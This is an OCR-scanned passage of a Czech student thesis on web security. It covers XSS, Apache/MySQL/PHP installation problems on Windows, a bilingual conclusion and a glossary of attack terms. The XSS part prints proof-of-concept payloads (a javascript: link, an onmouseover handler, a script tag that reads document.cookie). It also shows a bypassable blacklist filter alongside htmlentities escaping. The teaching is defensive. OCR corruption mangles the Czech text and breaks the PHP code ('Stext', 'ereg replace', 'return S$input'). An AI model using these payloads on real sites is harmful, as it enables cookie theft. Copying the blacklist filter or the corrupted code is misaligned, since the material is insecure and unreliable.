funnkce se da vyuzit napiiklad ve funkci nazvané £iter (). Cast skriptu uvedena vyse by

tedy vypadala takto:
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Stext = $ GET['text'];

$title = $ GET['title'];

function filter (Sinput) {

$input = ereg replace("<script>", "", Sinput);
$input = ereg replace("</script>", "", $input);
return S$input;

}

Tato funce tedy v fetézci ktery byl uloZen do proménné $input najde fetézce <script> a

</script> a odstrani je. Toto by se samoziejm¢ provedo i s proménnou Stitle.

JavaScript je vSak ozné vlozit nejen mezi znaCky oznacujici skript, ale také naptiklad do
odkazu, nebo obrazku. To proto, aby bylo mozné vytvofit dynamictéjsi stranky. Jako

nazorna ukazaka byl zvloen odkaz. Jeho kod by vypadal naptiklad takto:

<a href="javascript:alert ('XSS2');">ClickMe!</a>

Neni tézké primét nezkuseného uzivatele, aby na odkaz klikl, staci, kdyz odkaz bude co
»hejlakaveéjsic. PrestoZe se ve stavovam fadku po najeti mysi nad tento odkaz zobrazi jaky

JavaScriptovy kod odkaz skryva.

Druhou moznosti je, ze pokud uzivatel na odkaz neklepne. JavaScript obsahuje funkce,
udalosti, které Ize pro tento ucel vyuzit. Jako jeden piiklad za v§echny bude vyuzita funkce
onmouseover (), kterd vykond akci pouze tim, Ze uZivatel ptes odkaz piejede mysi.

<a onmouseover="javascript:alert

("XSS3'") ">
Najed mysi</a>

V kombinaci s pifedchozimi znalostmi lze napsat skript, ktery naptiklat pfesméruje

prohliZe€ na server utoc¢nika a zobrazi cookie uZivatele.

Cili funkci, ereg replace () lze obejit. Muselo by se pocitat s kazdou nepovolenou

znackou.

Jinym zplisobem filtrovani uzivatelského vstupu je vyuziti funkce htmlentities (),

ktera, takzvang, escapuje specidlni znaky.

Kod by pak vypadal nasledovné:
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Stext = $ GET['text'];

$title = § GET['title'];
function escaping ($input) {
Sinput = htmlentities ($input);
return $input;

}

Stitle = escaping(Stitle);
Stext = escaping (Stext);

Escape sekvence pouze vypadaji jako znak, ktery predstavuji, ale nesdili jeho

funkcionalitu. Jak by tedy vypadal zdrojovy kod stranky po vlozZeni fetézce:

<script >alert (document.cookie) ;</script>

je naznaceno nize:

<h3>Vase nove zpravy:</h3><br />
<b>tr</b><br />

&lt;script &gt;alert (document.cookie);&lt;/scripté&gt;

Specialni znaky jsou nahrazeny a tedy se neprovedou, ale zobrazi se jako normalni fetézec.

Ptehled escape sekvenci je ulozen na ptfilozeném CD v souboru html_entities.pdf.
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7 VZNIKLE PROBLEMY ATESTY

Pfi instalaci serveru Apache v kombinaci s PHP a databdzovym serverem MySQL vzniklo

nekolik potizi a problémn, které bylo tfeba fesit.

Instalace apache na windows byla zvolena proto, aby ¢tenatr pochopil zéklady nastaveni.
Predpoklad byl takovy, Ze Ctenaf se teprve zacind ucit administraci serverli a systém
windows je pifecejen nejpouzivangjsi uzivatelskou platformouzg. Z toho vyplyva ze pro

jednoduchost vysvétleni a pochopeni je systém Windows tim nejvhodnéjs$im.

Instalace serveru probéhla bez sebemensich problému, stacilo jen zvolit verzi. Pokud by
byl server vyuzivan pro vyvoj webu, je doporucovano instalovat stejnou verzi, ktera je
vyuzivana na hostingu, ktery bude pouzivan. Na strankdch poskytovatele jsou vzdy

uvedeny parametry serveru, proto neni problém je zjistit.

Instalace databazového serveru se z pocatku zdala byt také bezproblémovou. Nahrani
soubort prob&ho v potfadku, av§ak nastaveni serveru se bez chyb neobeslo. Jako prvni byla

pro instalaci zvolena "ostrd" verze SQL serveru MySQL 5.1

Pokazdé vSak pii pokusu o zapnuti MySQL jako sluzby systému Windows nastala
neocekavana chyba. (V pocita¢i Local Computer nelze spustit sluzbu MySQL. Chyba

1067: Proces neoc¢ekavané skoncil.")
Byly provedeny tyto kroky k napravé:

Na internetu byla tedy nalezena fora, tykajici se problémi vzniklych pfi instalaci SQL

serverl. Na forech bylo nalezeno nékolik rad a postupti.

e reinstalace MySQL

e Odstranéni veSerych soucasti tykajicich se pravé MySQL a nasledna instalace.

e zvoleni tlozisté tabulek do jiného, umisténi (problém s diakritikou v cesté k
souboru + nastaveni v my.ini)

Bohuzel ani jedna z téchto cest nevedla k funk¢nosti systému.
Byla tedy zvolena jina metoda, a to instalace starSiho balicku MySQL serveru (5.0)

V tomto ptipadé probéhla instalace a diive chybova registrace sluzby, v poradku.

2 http://www.w3schools.com/browsers/browsers_os.asp
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DalSim problémem, ktery nastal byla instalace PHP. PHP bylo instalovano jako modul.
Tento typ instalace spociva prakticky v extrahovani stazeného archivu do uréeného
adresafe a nastaveni konfiguracniho souboru php.ini. Ani po spravném nastaveni se

podpora PHP nebyla spusténa.

Pti hledani feSeni problému byla vyuzita stejnd metoda jako v predeslém piipadé. Bylo
zjisténo nasledujici feseni.
Pro spravnou funkénost PHP musi byt konfiguracni soubor php.ini nakopirovan v adresari

C:\windows. Dale bylo tieba Zkopirovat soubor phpSts.dll do adresate
C:\windows\system32.

Timto byla instalace celého serveru dokoncena a server byl funkéni.

V dalsi c¢asti prace byly popsény zdkladni utoky na webové aplikace, tyto zplisoby
napadeni bylo tfeba vyzkouSet. Proto byl vytvofen jednoduchy skript pro otestovani ttoku
XSS a kradez session, dale byly nalezeny webové stranky, kde je mozné otestovat SQL
Injection. VSechny moznosti utoku, které byly popsany v jednotlivych kapitolach byly

samoziejmé otestovany na vySe uvedeném webu a pfilozeném skriptu.
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ZAVER
Hlavnim cilem této prace bylo uvést zacinajici kodéry, ale i1 spravce serveri, do

problematiky zakladnich moznosti zabezpeceni internetovych aplikaci, at’ jiz jde pfimo o

webové stranky, nebo o server na kterém aplikace bézi.

V prvni ¢asti byly popsany zaklady programovaciho jazyka PHP a také SQL, aby byly
pochopeny jednoduché piiklady uvedené v praktické casti prace. Dale byly ukazany
nejpouzivanéjsi 4 webové brovsery a doplnény o odkazy, kde je mozné se dozvédét vice o

jejich zabezpeceni a také seznam vlastnosti, podle kterych je mozné si prohlize¢ vybrat.

Vpraktické casti prace byl vytvoien navod, jak nainstalovat server Apache a MySQL
s podporou PHP. Tento navod byl doplnén o nastaveni konfigura¢nich souborii z pohledu

bezpecnosti.

Nasledujici ¢ast ukazuje, jakym zptisobem jsou uchovavéna a prenasena uzivatelska data a

jakym zptusobem je chranit.

Posledni ¢ast zminuje zékladni utoky na webové aplikace a moZnosti, jak se proti témto
utoklim branit.

Je dilezité, aby si ptipadny Ctenar z text prace odnesl zakladni principy a védomosti o

zabezpeceni webu. Témi jsou:

e UdrZzovat aktualizovany systém
o Cim méné informaci o daném systému je dostupnych, tim lépe
e Nikdy neni dobré diivéfovat vstupnim informacim!

e Nepouzivat vice, neZ je bezpodminecné nutné

Text prace ma byt tedy jakousi vstupni branou do zabezpeceni webii. Jeho cilem je aby si
ctenaf uvédomil, Ze existuji urcité hrozby, proti kterym je tfeba se preventivné branit. Tato
prace ma mit informativni charakter a ma také navést ¢tenaie, aby uvazoval o bezpecnosti

jako o komlexnim problému, ktery je tfeba fesit.
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ZAVER V ANGLICTINE

The main goal of this paper is to introduce basic options of application securing to beginer

webcoders and server administrators.

There are the basics of PHP and SQL introduced in the first part, so the easy examples
could be used in practical part of the paper. Next, there is the list of 4 most popular web
browsers with links to sites, where you can receive more informations about their security

and roster of features, which can help to use the most suitable one.

In the practical part, there is a manual to correct instaling Apache and MySQL servers with

PHP support. Manual is extended of configuration files settings in view of security.
Next part is about the ways of keeping and transfering user data and how to protect them.

The last part names the common attacks on the web applications and the posibilities to

defend against it.
It is important that the reader understands basic principles of web securing. They are:

o Keep the system actualized
e The less informations about the system are available, the better it is
e Never trust the entering data

e There is no need to use more then is absolutely necessary

Contents of this work wants to be the entering to theme of web securing. Its purpose is to
make reader understand that there are serious threats, he has to defend against. The paper
should has informative nature and wants to guide readers to think about security as the

complex issue, they have care about.
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PRILOHA P I: SLOVNICEK POJMU

e Blind SQL Injection — Utok na nedostate¢né zabezpeéenou web aplikaci vloZzenim
piikazi jazyka SQL. Na rozdil od utoku SQL Injection nezna Gto¢nik chybové
zpravy vracené aplikaci a musi tedy pouzit inferenc¢ich metod.

e Cookie — Soubor uloZeny na lokalnim poc¢itaci uzivatele, obvykle slouZi k jeho
identifikaci na ¢asto navs§tévovanych serverech.

e CRLF Injection — Utok provedeny vlozenim posloupnosti znakti ozna¢ovanych
jako CRLF, tedy znaku nového fadku a znaku pro névrat voziku (kurzoru).

e Cross Site Scripting — Utok na nedostateéné zabezpecenou web aplikaci vlozenim
skriptu v nékterém z klientskych jazyki.

e DDoS — Distributed Denial of Service, utok na web aplikaci za pouziti vice
utocicich pocitact pasobici jeji nedostupnost.

e DoS — Denial of Service, ttok na web aplikaci plisobici jeji nedostupnost.

e Hacker — Tento pojem, pivodné chapany spise neutralné jako osoba schopna
priniku do pocitacovych systémil, avSak nepachajici zadné zlo, ziskal pod vlivem
medii negativni vyznam.

e Hacking — Cinnost hackera nebo tymu hackert spojena s pranikem do
pocitacovych systémil a pachanim Skod.

e HTTP — (HyperText Transfer Protocol) — Sada standardizovanych piikaza
slouzicich pro komunikaci mezi web serverem a klientem (prohlize¢em) v siti
internet.

e HTTP Response Splitting — Typ utoku, ktery nastava, pokud Gto¢nik provede
CRLF Injection a podaii se mu tak oddé¢lit hlavicku odpovédi serveru od jejiho téla.

e Malware — Obecné oznaceni pro veskery skodlivy software, tedy viry, ¢ervy, spy-
ware, adware atd.

e Phishing — Do Cestiny obvykle pfekladano jako ,,rybafeni". Jedna se o utok
spadajici do kategorie socialniho inZenyrstvi, pii kterém je uZivateli podstréena
fale$na stranka jinak diveéryhodné sluzby. Cilem tohoto utoku je ziskani citli-vych
dat, jako jsou naptiklad hesla nebo cisla platebnich karet.

e PoC — Proof of Concept, zkratka oznacujici ptiklad dokladajici existenci

bezpec-nostni chyby.



Sandbox — Oblast paméti nebo sada prostiedki fungujici jako bezpe¢nostni
mechanizmus slouzici ke spousténi kodu, ktery je ve fazi betatestovani nebo o
kterém se predpoklada, ze mize predstavovat bezpecnostni riziko.

Script Source Code Disclosure — Odhaleni zdrojového kddu skriptu, nastava
napiiklad po Gspésném utoku na web server nebo chybou parseru interpretovaného
jazyka pouzitého ke spousténi skriptu.

Session — Mechanismus zajistujici identi.kaci a oddéleni jednotlivych uzivatel
webové aplikace vytvofenim oddéleného virtudlniho prostoru. K ulozeni session
jsou obvykle pouzivany soubory cookies.

Spyware — Obecné oznadeni pro software zaznamenavajici aktivitu uzivatele bez
jeho védomi. SQL Injection — Utok na nedostateéné zabezpedenou web aplikaci
vlozenim piikazt jazyka SQL.

Utoénik — Slovo ttoénik je v textu (na rozdil od slova hacker) uzivano v neutralnim
vyznamu, jako osoba pokousejici se proniknout do pocitacového systému. Tedy
naptiklad 1 bezpecnostni expert testujici zabezpeceni systému.

Web server — pocitacovy systém (nebo program) komunikujici po siti pomoci
protokolu HTTP.

Webova aplikace — Aplikace dostupna uzivateli prostiednictvim prohlize¢e. Muze
se jednat naptiklad o diskusni férum, ndvstévni knihu, ndkupni kosik,
objednavkovy systém atp.

XSS — Zkratka pro utok Cross Site Scripting.



